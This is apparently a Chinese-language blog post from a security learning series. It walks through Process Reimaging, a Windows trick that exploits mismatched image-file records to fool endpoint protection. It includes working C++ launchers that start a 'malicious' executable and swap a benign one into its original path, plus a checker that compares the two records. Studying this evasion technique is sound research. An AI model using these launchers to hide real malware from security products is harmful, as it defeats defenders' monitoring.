今天有介紹的攻擊手法非常簡單,但是背後的原理卻十分有趣,這也是我認為這系列最有學習價值的攻擊方式。
不一致性 (Inconsistency) 常常發生在軟體的各個層面,也因此常常會出現一些開發者很難察覺的漏洞,而在今天的攻擊手法是針對 process 的結構中有多個記載 image file 的 FILE_OBJECT 欄位具有不一致性,也就是說我們有很多方式可以查到一個 process 的 image file,但是這些方式在某種情況下會出現不一致性。當端點防護產品 (Endpoint Protection Product) 有這樣的不一致性,便會有被繞過的風險。
以下透過這個專案(找不到原始專案,之後有空再補)實作的 Process Reimaging 進行介紹。
這個專案會針對 filepath 的不一致做測試,會新增兩個目錄,一個存放 benign PE,另一個存放 malicious PE。
先將 malicious PE 複製到新增的目錄,之後建立 process
std::string executingPath = curPath + "\\executing";
std::string hiddenPath = curPath + "\\hidden";
int res = CreateDirectoryA(executingPath.c_str(), NULL);
if (res == 0 && !(GetLastError() == ERROR_ALREADY_EXISTS)) {
std::cout << "[-] Error creating directory: " << executingPath << "\n";
return 1;
}
std::string fullExecutingPath = executingPath + "\\phase1.exe";
//std::string fullHiddenPath = hiddenPath + "\\" + badExeName;
BOOL boolRes = CopyFileA(badExe.c_str(), fullExecutingPath.c_str(), FALSE);
if (!boolRes) {
std::cout << "[-] Could not copy " << badExeName << " to " << fullExecutingPath << "\n";
return 1;
}
std::cout << "[*] Copied " << badExeName << " to " << fullExecutingPath << "\n";
std::cout << "[*] Starting process in executing directory...\n";
std::wstring wFullExecutingPath = utf8_decode(fullExecutingPath);
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
// Create the process for phase1.exe, which is really badExe.
res = CreateProcessW((LPWSTR)wFullExecutingPath.c_str(), NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (res == 0) {
DWORD err = GetLastError();
std::cout << "[-] Error creating process: " << err << "\n";
return 1;
}
std::cout << "[*] Started " << fullExecutingPath << "\n";
std::cout << "[*] Moving phase1.exe (" << badExeName << ") to " << hiddenPath << "\n";
將 malicious PE 所在的目錄名稱改名
// Move the executing directory to the hidden directory
boolRes = MoveFileA(executingPath.c_str(), hiddenPath.c_str());
if (!boolRes) {
DWORD err = GetLastError();
std::cout << "[-] Failed to move file to hidden directory:" << err << "\n";
return 1;
}
再新增一次剛剛改名前的目錄,並將 benign PE 複製到這個目錄
// Now need to put goodExe in executing\phase1.exe
std::cout << "[*] Copying " << goodExe << " to " << fullExecutingPath << "\n";
res = CreateDirectoryA(executingPath.c_str(), NULL);
if (res == 0 && !(GetLastError() == ERROR_ALREADY_EXISTS)) {
std::cout << "[-] Error creating directory: " << executingPath << "\n";
return 1;
}
boolRes = CopyFileA(goodExe.c_str(), fullExecutingPath.c_str(), TRUE);
if (!boolRes) {
std::cout << "[-] Failed to copy file to executing directory.\n";
return 1;
}
std::cout << "[+] All done!\n";
return 0;
不一致性會發生在 NtQueryInformationProcess
和 NtQueryVirtualMemory
在取得 FILE_OBJECT 時,會查找 EPROCESS 不同的位置所記載的 FILE_OBJECT。
NT APIs | Source | Related APIs |
---|---|---|
NtQueryInformationProcess | EPROCESS→SectionObject, EPROCESS→ImageFilePointer, EPROCESS→ImageFileName, EPROCESS→SeAuditProcessCreationInfo | K32GetModuleFileNameEx, K32GetProcessImageFileName, QueryFullProcessImageImageFileName |
NtQueryVirtualMemory | EPROCESS→Vad | GetMappedFileName |
在實驗中,以 Dbgview64.exe 為 malicious PE,Autoruns64.exe 為 benign PE。
從 Process Explorer 可以看到奇怪的現象是,我們本來要隱藏執行的 Dbgview64.exe 的 icon 被換成 Autoruns64.exe 的,這代表 Process Explorer 的實作中確實再取得 FILE_OBJECT 有不一致的狀況發生。我自己試了幾次會發現其實很不穩定,但有個趨勢是同個 image 會隨著載入的次數增加,載入完成的速度會更快 (可能是因為 cache 機制?),也因此失敗的機會越高。
我自己也寫了一個用 NtQueryInformationProcess
和 NtQueryVirtualMemory
去查詢 image file 的專案
void main(int argc, char* argv[])
{
PUNICODE_STRING ImageFileName1;
PUNICODE_STRING ImageFileName2;
PROCESS_BASIC_INFORMATION ProcessBasicInfo = { 0 };
MEMORY_BASIC_INFORMATION MemBasicInfo = { 0 };
NTSTATUS Status;
UINT64 ReturnLength = 0;
HANDLE hProcess = 0;
DWORD BufferSize;
PPEB pPEB = 0;
/*
strProcName = (wchar_t*)malloc((wcslen(argv[1]) + 1) * sizeof(wchar_t));
strProcName = argv[1];
dwProcessId = FindPidByName(strProcName);
*/
dwProcessId = atoi(argv[1]);
InitNtApis();
// Allocate string big enough to hold name
BufferSize = sizeof(UNICODE_STRING) + (1024 * sizeof(WCHAR));
ImageFileName1 = (PUNICODE_STRING)LocalAlloc(LMEM_FIXED, BufferSize);
if (ImageFileName1 == NULL)
{
exit(1);
}
ImageFileName2 = (PUNICODE_STRING)LocalAlloc(LMEM_FIXED, BufferSize);
if (ImageFileName2 == NULL)
{
exit(1);
}
// Get process handle passing in the process ID
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL)
{
printf("[-] Error: Could not open process for PID (%d).\n", dwProcessId);
exit(1);
}
// Fetch Image Filename from EPROCESS
printf("[+] Fetch Image Filename from EPROCESS\n");
Status = NtQueryInformationProcess(hProcess, ProcessImageFileName, ImageFileName1, BufferSize, (PULONG)&ReturnLength);
if (!NT_SUCCESS(Status)){
exit(1);
}
printf("[+] Return Length: %x, Image File Name: %wZ\n", ReturnLength, ImageFileName1);
// Fetch PEB address
Status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcessBasicInfo, sizeof(ProcessBasicInfo), (PULONG)&ReturnLength);
if (!NT_SUCCESS(Status)) {
exit(1);
}
pPEB = (PEB*)malloc(sizeof(PEB));
ReadProcessMemory(hProcess, (LPCVOID)ProcessBasicInfo.PebBaseAddress, pPEB, sizeof(PEB), 0);
printf("[+] Return Length: %x, ProcessBasicInfo.PebBaseAddress: %lx, pPEB->ImageBaseAddress: %llx\n", ReturnLength, ProcessBasicInfo.PebBaseAddress, pPEB->ImageBaseAddress);
// Other APIs:
// K32GetModuleInformation();
// K32GetProcessImageFileNameA();
// QueryFullProcessImageNameA();
// Fetch Image Filename from VADs
printf("[+] Fetch Image Filename from VADs\n");
// 1. Query basic information
Status = NtQueryVirtualMemory(hProcess, (LPVOID)pPEB->ImageBaseAddress, MemoryBasicInformation, &MemBasicInfo, sizeof(MEMORY_BASIC_INFORMATION), &ReturnLength);
if (!NT_SUCCESS(Status)) {
exit(1);
}
printf("[+] Return Length: %x, MemBasicInfo.AllocationBase: %llx\n", ReturnLength, MemBasicInfo.AllocationBase);
// 2. Query Mapped Filename
Status = NtQueryVirtualMemory(hProcess, (LPVOID)MemBasicInfo.AllocationBase, MemoryMappedFilenameInformation, ImageFileName2, BufferSize, &ReturnLength);
if (!NT_SUCCESS(Status)){
exit(1);
}
printf("[+] Return Length: %x, Image File Name: %wZ\n", ReturnLength, ImageFileName2);
// Other APIs:
// K32GetMappedFileNameA();
}
在 filepath 的實驗中其實看不太出來究竟是如何造成 Process Explorer 會存取到 benign PE 的 icon 的原因,等之後有時間在繼續研究QQ
接下來的專案是稍為修改上個專案,換成針對 filename 的不一致做測試,會新增兩個檔案分別是 phase1.exe 和 phase2.exe,一個存放 benign PE,另一個存放 malicious PE。
先將 malicious PE 複製到新增的目錄,之後建立 process
std::string executingPath = curPath + "\\executing";
//std::string hiddenPath = curPath + "\\executing";
int res = CreateDirectoryA(executingPath.c_str(), NULL);
if (res == 0 && !(GetLastError() == ERROR_ALREADY_EXISTS)) {
std::cout << "[-] Error creating directory: " << executingPath << "\n";
return 1;
}
std::string fullExecutingPath = executingPath + "\\phase1.exe";
std::string fullHiddenPath = executingPath + "\\\phase2.exe";
BOOL boolRes = CopyFileA(badExe.c_str(), fullExecutingPath.c_str(), FALSE);
if (!boolRes) {
std::cout << "[-] Could not copy " << badExeName << " to " << fullExecutingPath << "\n";
return 1;
}
std::cout << "[*] Copied " << badExeName << " to " << fullExecutingPath << "\n";
std::cout << "[*] Starting process in executing directory...\n";
std::wstring wFullExecutingPath = utf8_decode(fullExecutingPath);
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
// Create the process for phase1.exe, which is really badExe.
res = CreateProcessW((LPWSTR)wFullExecutingPath.c_str(), NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (res == 0) {
DWORD err = GetLastError();
std::cout << "[-] Error creating process: " << err << "\n";
return 1;
}
std::cout << "[*] Started " << fullExecutingPath << "\n";
std::cout << "[*] Moving phase1.exe (" << badExeName << ") to " << fullHiddenPath << "\n";
將 malicious PE 改名
// Move the executing directory to the hidden directory
boolRes = MoveFileA(fullExecutingPath.c_str(), fullHiddenPath.c_str());
if (!boolRes) {
DWORD err = GetLastError();
std::cout << "[-] Failed to move file to hidden directory:" << err << "\n";
return 1;
}
將 benign PE 複製到剛剛改名的 filename
// Now need to put goodExe in executing\phase1.exe
std::cout << "[*] Copying " << goodExe << " to " << fullExecutingPath << "\n";
/*
res = CreateDirectoryA(executingPath.c_str(), NULL);
if (res == 0 && !(GetLastError() == ERROR_ALREADY_EXISTS)) {
std::cout << "[-] Error creating directory: " << executingPath << "\n";
return 1;
}
*/
boolRes = CopyFileA(goodExe.c_str(), fullExecutingPath.c_str(), TRUE);
if (!boolRes) {
std::cout << "[-] Failed to copy file to executing directory.\n";
return 1;
}
std::cout << "[+] All done!\n";
這個結果看起來比 filepath 的好,Process Explorer 只抓到 malicious PE 的資訊
我寫的 checker.exe 也有明顯的差異,只有 VADs 有成功被更新 malicious PE 的新 filename,而 EPROCESS 的欄位則沒有
在寫以上程式碼的時候,感受到看別人的 writeups 和自己寫的花費時間差很多XD
但是觀念有了以後,方向就蠻正確的。像是 NtQueryVirtualMemory 的使用就很謎,在參考了 Process Hacker 和 ReactOS 後才稍微知道該怎麼用,之後就塞了 ImageBase 看看能不能從這個 address 直接爬 VADs,結果就成功找出 image path 了。
下一篇我要介紹的是 Process Herpaderping! (我還沒開始寫QQ)